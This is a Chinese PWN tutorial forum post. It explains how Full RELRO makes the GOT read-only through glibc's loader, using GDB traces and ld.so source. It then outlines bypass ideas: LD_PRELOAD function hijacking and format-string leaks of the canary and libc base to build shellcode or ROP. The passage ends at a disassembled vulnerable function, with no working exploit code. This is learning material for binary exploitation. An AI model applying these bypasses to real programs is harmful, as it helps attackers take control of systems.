首页
社区
课程
招聘
PWN入门-5-大战Full-RELRO
发表于: 2024-7-15 20:01 4579

PWN入门-5-大战Full-RELRO

2024-7-15 20:01
4579

GCC编译器允许使用下面的选项将RELRO全部开启.

1
-z relro -z now

开启以后检测ELF文件的安全属性可以看到RELRO的属性从Partial RELRO变成了Full RELRO

1
2
3
4
5
Arch:     amd64-64-little
RELRO:    Full RELRO
Stack:    Canary found
NX:       NX enabled
PIE:      PIE enabled

不过我们现在还对RELRO一无所知,它为什么要存在,又能干什么呢?

1. 何为RELRO

1.1 消失的节

首先观察RELRO开启前后的节信息。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
RELRO全部开启:
 Section to Segment mapping:
  Segment Sections...
   00    
   01     .interp
   02     .interp .note.gnu.property .note.gnu.build-id .note.ABI-tag .gnu.hash .dynsym .dynstr .gnu.version .gnu.version_r .rela.dyn .rela.plt
   03     .init .plt .text .fini
   04     .rodata .eh_frame_hdr .eh_frame
   05     .init_array .fini_array .dynamic .got .data .bss
   06     .dynamic
   07     .note.gnu.property
   08     .note.gnu.build-id .note.ABI-tag
   09     .note.gnu.property
   10     .eh_frame_hdr
   11    
   12     .init_array .fini_array .dynamic .got
 
RELRO部分开启:
 Section to Segment mapping:
  Segment Sections...
   00    
   01     .interp
   02     .interp .note.gnu.property .note.gnu.build-id .note.ABI-tag .gnu.hash .dynsym .dynstr .gnu.version .gnu.version_r .rela.dyn .rela.plt
   03     .init .plt .text .fini
   04     .rodata .eh_frame_hdr .eh_frame
   05     .init_array .fini_array .dynamic .got .got.plt .data .bss
   06     .dynamic
   07     .note.gnu.property
   08     .note.gnu.build-id .note.ABI-tag
   09     .note.gnu.property
   10     .eh_frame_hdr
   11    
   12     .init_array .fini_array .dynamic .got

对比上面的信息可以发现,当RELRO全部开启时.got.plt节消失了,要知道该节位于可读可写段内,是为了延迟加载而存在的,当被调用函数位于动态链接库内且尚未被加载时,.plt节中首表项会发挥作用,因为它里面存储着_dl_runtime_resolve_fxsave函数的位置,_dl_runtime_resolve_fxsave函数会对动态链接库中的函数进行解析,然后修改.got.plt节中表项。.plt节中其余表项的首条jmp指令会指向.got.plt节中对应表项,如果函数尚未被解析,那么.got.plt节中对应表项存放的就是.plt节中表项的第二条push指令,继续运行第三条jmp指令时,该指令会指向.plt节中首表项,程序会开始运行_dl_runtime_resolve_fxsave函数,然后它解析调用动态链接库中的函数并让主程序调用。当函数再次被调用时,.got.plt节中对应表项存放的就是该函数的地址了,程序会使用该地址直接对函数进行调用。

此时.got.plt节的消失,是否也标志着延迟绑定的功能不在存在了呢?

1.2 延迟绑定的取消

添加-z relro -z now参数编译出来的程序,在其动态链接节中会出现BIND_NOW标志位。

1
2
Dynamic section at offset 0x2dc0 contains 27 entries:
 0x000000000000001e (FLAGS)              BIND_NOW

将程序挂到GDB上后发现,当程序首次调用动态链接库LibC中的printf函数时,.plt节会直接指向printf函数的所在位置,进而直接对函数进行调用。

1
2
3
4
5
6
7
8
9
10
11
12
1: x/i $rip
=> 0x5555555551ad <vuln+100>:   call   0x555555555040 <printf@plt>
(gdb)
0x0000555555555040 in printf@plt ()
1: x/i $rip
=> 0x555555555040 <printf@plt>:
    jmp    *0x2f8a(%rip)        # 0x555555557fd0 <printf@got.plt>
(gdb)
__printf (format=0x555555556008 "hello, I want to bypass full-relro %s\n")
    at printf.c:28
1: x/i $rip
=> 0x7ffff7e09c40 <__printf>:   endbr64

显然这时候已经没有延迟绑定了。在上面展示的信息中仍可以看到.got.plt的身影存在,它为什么会存在呢?

通过在_start函数设置断点可以发现,LD的_start函数被命中时,got.plt中内容还尚未被解析,但当主程序的_start函数被命中时,got.plt中的内容已经变成了printf函数的地址,因此这里猜测重定位的工作在程序正式运行前就由LD完成了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
0x00005555555551ad <+100>:   call   0x555555555040 <printf@plt>
x /i 0x555555555040
   0x555555555040 <printf@plt>: jmp    *0x2f8a(%rip)        # 0x555555557fd0 <printf@got.plt>
 
ld的_start函数被命中时plt的内容
(gdb) x /10wx 0x555555557fd0
0x555555557fd0 <printf@got.plt>:        0x00001046      0x00000000      0x00000000      0x00000000
0x555555557fe0: 0x00000000      0x00000000      0x00000000      0x00000000
0x555555557ff0: 0x00000000      0x00000000
 
主程序的_start函数被命中时plt的内容
(gdb) x /10wx 0x555555557fd0
0x555555557fd0 <printf@got.plt>:        0xf7e09c40      0x00007fff      0xf7dd7cc0      0x00007fff
0x555555557fe0: 0x00000000      0x00000000      0x00000000      0x00000000
0x555555557ff0: 0x00000000      0x00000000

0x555555557fd0地址设置观察点后,发现该地址上的数据对被elf_dynamic_do_Rela函数改变(下面展示了完整的调用栈)。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
(gdb) awatch *0x555555557fd0
 
Old value = 4166
New value = -136274880
elf_dynamic_do_Rela (map=0x7ffff7ffe2e0, scope=<optimized out>, reladdr=<optimized out>, relsize=<optimized out>, nrelative=<optimized out>, lazy=<optimized out>,
    skip_ifunc=<optimized out>) at ../sysdeps/x86_64/dl-machine.h:413
 
(gdb) bt
#0  elf_dynamic_do_Rela (map=0x7ffff7ffe2e0, scope=<optimized out>, reladdr=<optimized out>, relsize=<optimized out>, nrelative=<optimized out>, lazy=<optimized out>,
    skip_ifunc=<optimized out>) at ../sysdeps/x86_64/dl-machine.h:413
#1  _dl_relocate_object (l=l@entry=0x7ffff7ffe2e0, scope=<optimized out>, reloc_mode=<optimized out>, consider_profiling=<optimized out>, consider_profiling@entry=0) at dl-reloc.c:301
#2  0x00007ffff7fe8891 in dl_main (phdr=<optimized out>, phnum=<optimized out>, user_entry=<optimized out>, auxv=<optimized out>) at rtld.c:2311
#3  0x00007ffff7fe5146 in _dl_sysdep_start (start_argptr=start_argptr@entry=0x7fffffffe170, dl_main=dl_main@entry=0x7ffff7fe6cc0 <dl_main>) at ../sysdeps/unix/sysv/linux/dl-sysdep.c:140
#4  0x00007ffff7fe69be in _dl_start_final (arg=0x7fffffffe170) at rtld.c:494rr
#5  _dl_start (arg=0x7fffffffe170) at rtld.c:581
#6  0x00007ffff7fe5748 in _start () from /lib64/ld-linux-x86-64.so.2
#7  0x0000000000000001 in ?? ()
#8  0x00007fffffffe468 in ?? ()
#9  0x0000000000000000 in ?? ()
(gdb)

dl_main函数是LD的主要组成部分,其主要作用是完成动态链接库的解析及管理任务。

dl_main函数内部首先判断的是user_entry,由于LD本身可以作为程序运行并支持通过LD运行程序,所以当发现user_entry就是LD自身的入口地址时,就说明此时运行的程序是LD,后续会对传给LD的参数进行处理。如果允许的程序不是动态链接器自身,那么LD接下来就会开始对指定程序进行处理。

1
if (*user_entry == (ElfW(Addr)) ENTRY_POINT)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
直接运行程序时,user_entry保存的地址是对应程序可执行段中的地址
(gdb) x /gx 0x7fffffffde60
0x7fffffffde60: 0x0000555555555050
LOAD           0x0000000000001000 0x0000000000001000 0x0000000000001000
                0x0000000000026f55 0x0000000000026f55  R E    0x1000
555555554000-555555555000 r--p 00000000 08:01 2507248                    /home/test/labs/example
555555555000-555555556000 r-xp 00001000 08:01 2507248                    /home/test/labs/example
 
使用LD运行程序时,user_entry保存的地址是LD可执行段中的地址
x /20x 0x7fffffffde90
0x7fffffffde90: 0x00007ffff7fe5740
LOAD           0x0000000000001000 0x0000000000001000 0x0000000000001000
                0x0000000000026f55 0x0000000000026f55  R E    0x1000
7ffff7fc9000-7ffff7fca000 r--p 00000000 08:01 7351295                    /usr/lib/ld-linux-x86-64.so.2
7ffff7fca000-7ffff7ff1000 r-xp 00001000 08:01 7351295                    /usr/lib/ld-linux-x86-64.so.2

程序地址0x0000555555555050与起始地址0x555555554000的偏移是0x1050,LD地址0x00007ffff7fe5740与起始地址0x7ffff7fc9000的偏移是0x1c740,刚好可以和ELF头信息中记录的入口点对应上。

1
2
3
4
5
程序中的头信息:
Entry point address:               0x1050
 
LD中的头信息:
Entry point address:               0x1c740

接下来继续将视线转移到程序独立执行时的代码部分,此时代码会对main_map进行设置,这个变量属于link_map结构体,用于记录程序的信息,其中main_map是链表头,用于记录程序本身的信息,而链表上的其他节点则会记录动态链接信息。

下面代码展示了main_map的创建及设置段头信息的过程。

1
2
3
4
5
6
7
8
9
10
main_map = _dl_new_object((char *)"", "", lt_executable, NULL, __RTLD_OPENEXEC, LM_ID_BASE);
assert(main_map != NULL);
main_map->l_phdr = phdr;
段头
main_map->l_phnum = phnum;
段头数量
main_map->l_entry = *user_entry;
入口地址
_dl_add_to_namespace_list(main_map, LM_ID_BASE);
将main_map添加到全局链表内

之后代码会通过rtld_is_main判断LD是否作为独立的程序运行,如果不是,就会处理主程序中的动态链接信息。

1
2
3
4
5
6
7
8
9
10
11
12
if (!rtld_is_main)
{
    elf_get_dynamic_info (main_map, false, false);
 
    if (main_map->l_info[DT_SONAME] != NULL
        && (strcmp (((const char *) D_PTR (main_map, l_info[DT_STRTAB])
        + main_map->l_info[DT_SONAME]->d_un.d_val), LIBC_SO)
        == 0))
        GL(dl_ns)[LM_ID_BASE].libc_map = main_map;
 
    _dl_setup_hash(main_map);
}

从下面的信息中可以看到,elf_get_dynamic_info函数的主要作用就是从程序的ELF文件内提取动态链接节信息,用于后续访问。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
elf_get_dynamic_info中枚举的动态链接信息:
{d_tag = 1, d_un = {d_val = 58, d_ptr = 58}}
{d_tag = 12, d_un = {d_val = 4096, d_ptr = 4096}}
{d_tag = 13, d_un = {d_val = 4572, d_ptr = 4572}}
{d_tag = 25, d_un = {d_val = 15792, d_ptr = 15792}}
......
 
ELF文件中读取的动态链接信息:
Dynamic section at offset 0x2dc0 contains 27 entries:
  Tag        Type                         Name/Value
 0x0000000000000001 (NEEDED)             Shared library: [libc.so.6]
 0x000000000000000c (INIT)               0x1000
 0x000000000000000d (FINI)               0x11dc
 0x0000000000000019 (INIT_ARRAY)         0x3db0
 0x000000000000001b (INIT_ARRAYSZ)       8 (bytes)
 0x000000000000001a (FINI_ARRAY)         0x3db8
 0x000000000000001c (FINI_ARRAYSZ)       8 (bytes)
 0x000000006ffffef5 (GNU_HASH)           0x3c0
 0x0000000000000005 (STRTAB)             0x4a0
 0x0000000000000006 (SYMTAB)             0x3e0
 0x000000000000000a (STRSZ)              170 (bytes)
 0x000000000000000b (SYMENT)             24 (bytes)
 0x0000000000000015 (DEBUG)              0x0
 0x0000000000000003 (PLTGOT)             0x3fb0
 0x0000000000000002 (PLTRELSZ)           48 (bytes)
 0x0000000000000014 (PLTREL)             RELA
 0x0000000000000017 (JMPREL)             0x660
 0x0000000000000007 (RELA)               0x5a0
 0x0000000000000008 (RELASZ)             192 (bytes)
 0x0000000000000009 (RELAENT)            24 (bytes)
 0x000000000000001e (FLAGS)              BIND_NOW
 0x000000006ffffffb (FLAGS_1)            Flags: NOW PIE
 0x000000006ffffffe (VERNEED)            0x560
 0x000000006fffffff (VERNEEDNUM)         1
 0x000000006ffffff0 (VERSYM)             0x54a
 0x000000006ffffff9 (RELACOUNT)          3
 0x0000000000000000 (NULL)               0x0

完成.dynamic节信息的提取后,就是设置vDSO。

1
2
3
setup_vdso (main_map, &first_preload);
setup_vdso_pointers ();
call_init_paths (&state);

接下来继续设置link_map的链表,建立主程序和LD间的关系。

1
2
3
4
main_map->l_next = &GL(dl_rtld_map);
GL(dl_rtld_map).l_prev = main_map;
++GL(dl_ns)[LM_ID_BASE]._ns_nloaded;
++GL(dl_load_adds);

紧接着,LD会处理预加载信息。Linux中提供动态链接库预加载机制,使得用户可以自定义动态链接库,当自定义的动态链接库中存在与默认动态链接库中相同的函数时,会优先使用预加载库中的函数。

从下面可以看到检测是否存在预加载库的方式有三种,一是解析配置文件/etc/ld.so.preload,二是解析LD_PRELOAD环境变量,三是检测--preload参数。

1
2
3
4
5
6
7
8
9
10
11
12
assert (*first_preload == NULL);
检测是否存在预加载库
if (__glibc_unlikely (state.preloadlist != NULL))
    ......
if (__glibc_unlikely (state.preloadarg != NULL))
    ......
检测指定文件内,是否存在预加载库信息
static const char preload_file[] = "/etc/ld.so.preload";
if (__glibc_unlikely (__access (preload_file, R_OK) == 0))
    ......
if (__glibc_unlikely (*first_preload != NULL))
    ......

处理好预加载信息后,就会通过_dl_map_object_deps函数将动态链接库加载进入内存,再设置线程信息。进行_dl_map_object_deps之前,会发现处理程序相关的动态链接库(vDSO、LD除外)都还没有被加载进入内存。

当程序运行的所需信息都完成加载后,接下来要进行的就是重要的重定位操作。

首先见到与延迟绑定相关的就是下面两条语句,它要求程序被分析时必须进行延迟重定位,GCC编译器中可以使用-pg选项开启分析功能,然后使用gprof工具对生成的分析信息进行解析。

1
2
int consider_profiling = GLRO(dl_profile) != NULL;
GLRO(dl_lazy) |= consider_profiling;

当分析功能开启时,程序必须进行延迟重定位。重定位的具体操作是由_dl_relocate_object函数负责的,它会根据dl_lazy的数值决定是否进行延迟重定位。

1
2
3
4
if (GL(dl_ns)[LM_ID_BASE].libc_map != NULL)
    _dl_relocate_object (GL(dl_ns)[LM_ID_BASE].libc_map,
        GL(dl_ns)[LM_ID_BASE].libc_map->l_scope,
        GLRO(dl_lazy) ? RTLD_LAZY : 0, consider_profiling);

进入_dl_relocate_object函数内观察link_map可以发现,程序所有需要的动态链接信息均已经是设置还好的,每次重定位元素都是当前指针指向的链表元素。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
(gdb) p *l
$2 = {l_addr = 140737351720960, l_name = 0x7ffff7ffef50 "/usr/lib/libc.so.6",
  l_ld = 0x7ffff7f93960, l_next = 0x7ffff7ffdab0 <_rtld_global+2736>,
  ......
}
 
(gdb) p *l->l_next
$3 = {l_addr = 140737353912320,
  l_name = 0x555555554318 "/lib64/ld-linux-x86-64.so.2", l_ld = 0x7ffff7ffce68,
  l_next = 0x0, l_prev = 0x7ffff7f9e000,
  l_real = 0x7ffff7ffdab0 <_rtld_global+2736>,
  ......
}
 
(gdb) p *l->l_prev
$5 = {l_addr = 140737353904128, l_name = 0x7ffff7fc7371 "linux-vdso.so.1",
  l_ld = 0x7ffff7fc73e0, l_next = 0x7ffff7f9e000, l_prev = 0x7ffff7ffe2e0,
  ......
}
 
 
(gdb) p *l->l_prev->l_prev
$8 = {l_addr = 93824992231424, l_name = 0x7ffff7ffe8b8 "", l_ld = 0x555555557dc0,
  l_next = 0x7ffff7ffe8c0, l_prev = 0x0, l_real = 0x7ffff7ffe2e0, l_ns = 0,
  ......
}

重定位过程中,首先需要修正的是DT_TEXTREL,这是因为ELF文件内可能存在使用绝对地址的情况,当LD检测到DT_TEXTREL标志位时,就会先修正那些编译时确立的绝对地址(编译器无法预知运行时的状况,原本的地址可能是无法使用的)。

这段代码算是历史遗留,因为现在基本是看不到直接使用绝对地址的情况了。

1
2
if (__glibc_unlikely (l->l_info[DT_TEXTREL] != NULL))
    ......

再之后,要进行重定位的就是GOT表,GOT表中使用的地址都是相对地址,所以运行在运行期通过ELF_DYNAMIC_RELOCATE进行修改。

1
2
3
4
5
6
7
8
9
10
11
12
# define ELF_DYNAMIC_RELOCATE(map, scope, lazy, consider_profile, skip_ifunc) \
  do {                                        \
    int edr_lazy = elf_machine_runtime_setup ((map), (scope), (lazy),         \
                          (consider_profile));        \
    if (((map) != &GL(dl_rtld_map) || DO_RTLD_BOOTSTRAP))             \
      ELF_DYNAMIC_DO_RELR (map);                          \
    ELF_DYNAMIC_DO_REL ((map), (scope), edr_lazy, skip_ifunc);            \
    ELF_DYNAMIC_DO_RELA ((map), (scope), edr_lazy, skip_ifunc);           \
    ELF_DYNAMIC_AFTER_RELOC ((map), (edr_lazy));                  \
  } while (0)
 
ELF_DYNAMIC_RELOCATE (l, scope, lazy, consider_profiling, skip_ifunc);

在这段宏定义中,elf_machine_runtime_setup适用于判断是否需要延迟加载的,而宏ELF_DYNAMIC_DO_RELELF_DYNAMIC_DO_RELA是非常相近似的,它们分别对应不同的重定位表,从实际上来讲,这些实际对应的仍是_ELF_DYNAMIC_DO_RELOC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
# if ! ELF_MACHINE_NO_REL
#  include "do-rel.h"
#  define ELF_DYNAMIC_DO_REL(map, lazy, skip_ifunc) \
  _ELF_DYNAMIC_DO_RELOC (REL, Rel, map, lazy, skip_ifunc, _ELF_CHECK_REL)
# else
#  define ELF_DYNAMIC_DO_REL(map, lazy, skip_ifunc) /* Nothing to do.  */
# endif
 
# if ! ELF_MACHINE_NO_RELA
#  define DO_RELA
#  include "do-rel.h"
#  define ELF_DYNAMIC_DO_RELA(map, lazy, skip_ifunc) \
  _ELF_DYNAMIC_DO_RELOC (RELA, Rela, map, lazy, skip_ifunc, _ELF_CHECK_REL)
# else
#  define ELF_DYNAMIC_DO_RELA(map, lazy, skip_ifunc) /* Nothing to do.  */
# endif

从下面的宏中可以看到,ranges变量定义两项,该变量会记录需要重定位信息,最后一位区分是否进行延迟重定位。该变量会从重定位节中获取数据,元素0中记录重定位信息表.rela.dyn的信息,元素1记录重定位链接表.rela.plt的信息。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
# define _ELF_DYNAMIC_DO_RELOC(RELOC, reloc, map, do_lazy, skip_ifunc, test_rel) \
  do {                                        \
    struct { ElfW(Addr) start, size;                          \
         __typeof (((ElfW(Dyn) *) 0)->d_un.d_val) nrelative; int lazy; }  \
      ranges[2] = { { 0, 0, 0, 0 }, { 0, 0, 0, 0 } };                 \
                                          \
    if ((map)->l_info[DT_##RELOC])                         \
      {                                       \
    ranges[0].start = D_PTR ((map), l_info[DT_##RELOC]);              \
    ranges[0].size = (map)->l_info[DT_##RELOC##SZ]->d_un.d_val;         \
    if (map->l_info[VERSYMIDX (DT_##RELOC##COUNT)] != NULL)            \
      ranges[0].nrelative                             \
        = map->l_info[VERSYMIDX (DT_##RELOC##COUNT)]->d_un.d_val;       \
      }                                       \
    if ((map)->l_info[DT_PLTREL]                       \
    && (!test_rel || (map)->l_info[DT_PLTREL]->d_un.d_val == DT_##RELOC)) \
      {                                       \
    ElfW(Addr) start = D_PTR ((map), l_info[DT_JMPREL]);              \
    ElfW(Addr) size = (map)->l_info[DT_PLTRELSZ]->d_un.d_val;       \
                                          \
    if (ranges[0].start + ranges[0].size == (start + size))           \
      ranges[0].size -= size;                         \
    if (ELF_DURING_STARTUP                            \
        || (!(do_lazy)                            \
        && (ranges[0].start + ranges[0].size) == start))          \
      {                                   \
        /* Combine processing the sections.  */               \
        ranges[0].size += size;                       \
      }                                   \
    else                                      \
      {                                   \
        ranges[1].start = start;                          \
        ranges[1].size = size;                        \
        ranges[1].lazy = (do_lazy);                       \
      }                                   \
      }                                       \
                                          \
    if (ELF_DURING_STARTUP)                           \
      elf_dynamic_do_##reloc ((map), ranges[0].start, ranges[0].size,         \
                  ranges[0].nrelative, 0, skip_ifunc);        \
    else                                      \
      {                                       \
    int ranges_index;                             \
    for (ranges_index = 0; ranges_index < 2; ++ranges_index)       \
      elf_dynamic_do_##reloc ((map),                      \
                  ranges[ranges_index].start,             \
                  ranges[ranges_index].size,              \
                  ranges[ranges_index].nrelative,         \
                  ranges[ranges_index].lazy,              \
                  skip_ifunc);                    \
      }                                       \
  } while (0)

宏读取完重定位信息后,会调用elf_dynamic_do_Rela函数正式开始改写数据。

完成重定位之后,就会运行LibC的早期初始化函数以及进行清理信息等等操作,dl_main负责的启动任务也告一段落。

1.3 无效的Full-Relro?

通过对比查找动态链接库函数的地址0x6347e3701fc8和程序的起始地址0x6347e36fe000,可以发现其偏移值为3fc8,它位于.got节中,该节又位于可读可写段中。

1
2
3
4
5
6
7
8
9
10
11
12
5号段:
LOAD           0x0000000000002db0 0x0000000000003db0 0x0000000000003db0
                 0x0000000000000260 0x0000000000000268  RW     0x1000
05     .init_array .fini_array .dynamic .got .data .bss
 
objdump --section=.got -s ./relro_bypass_example
Contents of section .got:
 3fb0 c03d0000 00000000 00000000 00000000  .=..............
 3fc0 00000000 00000000 36100000 00000000  ........6.......
 3fd0 46100000 00000000 00000000 00000000  F...............
 3fe0 00000000 00000000 00000000 00000000  ................
 3ff0 00000000 00000000 00000000 00000000  ................

.plt节中的push指令根据函数在.rela.plt节中的索引值压入栈内。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
Disassembly of section .plt:
0000000000001020 <__stack_chk_fail@plt-0x10>:
    1020:       ff 35 92 2f 00 00       push   0x2f92(%rip)        # 3fb8 <_GLOBAL_OFFSET_TABLE_+0x8>
    1026:       ff 25 94 2f 00 00       jmp    *0x2f94(%rip)        # 3fc0 <_GLOBAL_OFFSET_TABLE_+0x10>
    102c:       0f 1f 40 00             nopl   0x0(%rax)
0000000000001030 <__stack_chk_fail@plt>:
    1030:       ff 25 92 2f 00 00       jmp    *0x2f92(%rip)        # 3fc8 <__stack_chk_fail@GLIBC_2.4>
    1036:       68 00 00 00 00          push   $0x0
    103b:       e9 e0 ff ff ff          jmp    1020 <_init+0x20>
0000000000001040 <printf@plt>:
    1040:       ff 25 8a 2f 00 00       jmp    *0x2f8a(%rip)        # 3fd0 <printf@GLIBC_2.2.5>
    1046:       68 01 00 00 00          push   $0x1
    104b:       e9 d0 ff ff ff          jmp    1020 <_init+0x20>
 
Relocation section '.rela.plt' at offset 0x660 contains 2 entries:
  Offset          Info           Type           Sym. Value    Sym. Name + Addend
000000003fc8  000300000007 R_X86_64_JUMP_SLO 0000000000000000 __stack_chk_fail@GLIBC_2.4 + 0
000000003fd0  000400000007 R_X86_64_JUMP_SLO 0000000000000000 printf@GLIBC_2.2.5 + 0
 
plt中压入栈的的数据,是.rela.plt中的索引值
0003fc8 0000 0000 0000 0000 0001 0000 0000 0000

从上面可以看到,尽管当full reloro开启时,使得程序不再进行延迟绑定以及.got.plt节也随之消失,但是动态链接库只是从调用时加变成了运行前加载,.got.plt节也只是融入到.got内,实际函数调用时还是先通过.plt节中的jmp指令到.got内查找地址。

.got既然始终可写,那这开不开full reloro好像没有意义啊!

经过进一步排查,会发现ELF文件中的确是如此定义,但当运行时就会从5个段变成4个段,增加了一个不可写的段,查询的被调用函数地址也位于该段中。

这个段是什么时候添加上去的呢?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
运行时的段信息:
0x6347e36fe000     0x6347e36ff000     0x1000        0x0  r--p   ./example
0x6347e36ff000     0x6347e3700000     0x1000     0x1000  r-xp   ./example
0x6347e3700000     0x6347e3701000     0x1000     0x2000  r--p   ./example
0x6347e3701000     0x6347e3702000     0x1000     0x2000  r--p   ./example
0x6347e3702000     0x6347e3703000     0x1000     0x3000  rw-p   ./example
 
ELF文件中的段信息:
LOAD           0x0000000000000000 0x0000000000000000 0x0000000000000000
                 0x00000000000006c8 0x00000000000006c8  R      0x1000
LOAD           0x0000000000001000 0x0000000000001000 0x0000000000001000
                 0x00000000000001fd 0x00000000000001fd  R E    0x1000
LOAD           0x0000000000002000 0x0000000000002000 0x0000000000002000
                 0x00000000000000fc 0x00000000000000fc  R      0x1000
LOAD           0x0000000000002da8 0x0000000000003da8 0x0000000000003da8
                 0x0000000000000268 0x0000000000000270  RW     0x1000

通过在_start处设置断点,可以发现当LD准备开始运行时,还是遵照ELF文件的约定保持4个段。当主程序准备开始运行时,最后一个段就会分裂出一个不可写的段。

1
2
3
4
5
6
7
8
9
LD阶段:
0x555555554000     0x555555555000     0x1000        0x0  r--p   ./example
0x555555555000     0x555555556000     0x1000     0x1000  r-xp   ./example
0x555555556000     0x555555557000     0x1000     0x2000  r--p   ./example
0x555555557000     0x555555559000     0x2000     0x2000  rw-p   ./example
 
主程序阶段:
0x555555557000     0x555555558000     0x1000     0x2000  r--p   ./example
0x555555558000     0x555555559000     0x1000     0x3000  rw-p   ./example

前面说过重定位操作是dl_main函数中的_dl_relocate_object操作的,查看代码可以知道,在_dl_relocate_object函数的最后会检查l_relro_size变量的数值,如果不为0就调用_dl_protect_relro函数。

_dl_protect_relro函数会根据受保护地址的偏移值l->l_relro_addr重新划分出一个新段,这个新段的属性是只读的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
_dl_relocate_object
{
    ......
    if (l->l_relro_size != 0)
        _dl_protect_relro (l);
}
 
353     void
354     _dl_protect_relro (struct link_map *l)
355     {
356       ElfW(Addr) start = ALIGN_DOWN((l->l_addr
357                                      + l->l_relro_addr),
358                                     GLRO(dl_pagesize));
359       ElfW(Addr) end = ALIGN_DOWN((l->l_addr
360                                    + l->l_relro_addr
361                                    + l->l_relro_size),
362                                   GLRO(dl_pagesize));
363       if (start != end
364           && __mprotect ((void *) start, end - start, PROT_READ) < 0)
365         {
366           static const char errstring[] = N_("\
367     cannot apply additional memory protection after relocation");
368           _dl_signal_error (errno, l->l_name, NULL, errstring);
369         }
370     }

主程序的l_relro_sizel_relro_addr是由dl_main中的rtld_setup_main_map函数设置的,该函数内部会遍历ELF的段,其中就包含根据PT_GNU_RELRO段。

1
2
3
4
case PT_GNU_RELRO:
    main_map->l_relro_addr = ph->p_vaddr;
    main_map->l_relro_size = ph->p_memsz;
    break;

所有只读的重定位信息都会位于PT_GNU_RELRO段内,PT_GNU_RELRO段会将可读可写的LOAD段分配出一段只读空间,内当Full RELRO开启时,被调用函数的查询地址会被编译器分配到.got节内,.got节位于只读段的范围内,但当程序只是Partial RELRO时,被调用函数的查询地址会被编译器分配到.got.plt中,.got.plt节则位于可读可写段的范围内。

1
2
3
4
5
6
GNU_RELRO指示将LOAD中0x3da80x3da8+0x258的范围变为只读
 
LOAD           0x0000000000002da8 0x0000000000003da8 0x0000000000003da8
                 0x0000000000000268 0x0000000000000270  RW     0x1000
GNU_RELRO      0x0000000000002da8 0x0000000000003da8 0x0000000000003da8
                 0x0000000000000258 0x0000000000000258  R      0x1

1.4 总结

RELRO的开启标志着重定位信息是否只读,Partial RELRO为了延迟绑定而存在,它允许.got.plt节存在且可读,保障运行时进行重定位可以改写被查找的调用函数地址。Full RELRO则将全部的重定位信息设置为只读状态,在编译阶段,仍会将待运行时重定位的函数放入可可段内,但会添加BIND_NOW标志进行标识,在运行阶段,LD会在程序正式运行前将函数重定位好,并从可写段中将重定位信息划分到只读段内,保障重定位信息后续不会被修改。

不管是静态链接的函数还是动态链接的函数,其具体实现都会位于可执行段中,区别在于调用它们的方式会有所差别,静态链接的函数会根据相对地址直接进行调用,而动态链接函数则需要根据PLT指示查找对应函数然后调用。当程序的重定位信息只是部分只读Partial RELRO时,程序会使用延迟重定位,此时保持函数解析方式或所在地址的.got.plt节是可写,仍具备掉包动态链接函数的可能性。而当重定位信息变成全部只读Full RELRO时,函数地址会被解析在.got节内,就无法对动态链接函数进行掉包了。

2. 绕过思路

2.1 预加载库

首先前面提到过dl_main函数在初始化时会检查当前是否设置了预加载库,当预加载库存在时,程序会优先使用预加载库中的函数,此时就可以实现动态链接的函数掉包。

2.2 信息泄露

当存在程序中存在自定义格式化字符串及设置缓冲区变量内容的机会时,可以将金丝雀及LibC的基地址泄露出来,并在栈上构造Shellcode,此时无需改写重定位信息,也可以借助函数的正常返回逻辑达到利用的效果。

2.3 穷途末路?

首先让我们回忆一下PWN一路以来都发生过什么。

首先是没有任何保护的程序,所有的利用点都对我们开放,这时候可以肆无忌惮的完成PWN。

当数据执行保护开启后,栈上的Shellcode已经不能运行了,但此时ASLR尚未开启,在内存布局情况已知的情况下,PWN难度仍算太高,我们既可以直接改写.got.plt,也可以函数的返回逻辑及LibC中可执行代码构造ROP,并调用Shell。

当金丝雀开启时,我们已经无法直接对栈上的数据进行覆盖,这个时候需要在泄露金丝雀数值或改写金丝雀数值上下一番功夫,才可以构造ROP调用Shell。当然想忽视金丝雀也可以,在程序调用动态链接的函数前提下,对.got.plt进行改写。

随着ASLR的全面启用,就逼着我们利用格式化字符串漏洞对信息进行泄露,否则就无法成功进行PWN。

当重定位信息变成完全只读后(此时所有保护全部打开),留给我们的路就只剩了借助预加载机制调包动态链接的函数,以及利用格式化字符串漏洞泄露信息后在进行PWN。

成功PWN的道路眼见着越来越窄,可以利用的点也只剩下了零星的几个,在真实环境中,这些苛刻的利用条件真能全部满足吗?此时如同来到了悬崖一般,前方似乎看不到前进的道路。

难道这就是终点吗?没有其他更加高级的突破方式了吗?

3. 示例讲解

3.1 预加载库

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
0000000000001149 <vuln>:
    1149:       55                      push   %rbp
    114a:       48 89 e5                mov    %rsp,%rbp
    114d:       48 83 ec 40             sub    $0x40,%rsp
    1151:       64 48 8b 04 25 28 00    mov    %fs:0x28,%rax
    1158:       00 00
    115a:       48 89 45 f8             mov    %rax,-0x8(%rbp)
    115e:       31 c0                   xor    %eax,%eax
    1160:       48 b8 2e 2e 2e 2e 2e    movabs $0x2e2e2e2e2e2e,%rax
    1167:       2e 00 00
    116a:       ba 00 00 00 00          mov    $0x0,%edx
    116f:       48 89 45 c0             mov    %rax,-0x40(%rbp)
    1173:       48 89 55 c8             mov    %rdx,-0x38(%rbp)
    1177:       48 c7 45 d0 00 00 00    movq   $0x0,-0x30(%rbp)
    117e:       00
    117f:       48 c7 45 d8 00 00 00    movq   $0x0,-0x28(%rbp)
    1186:       00
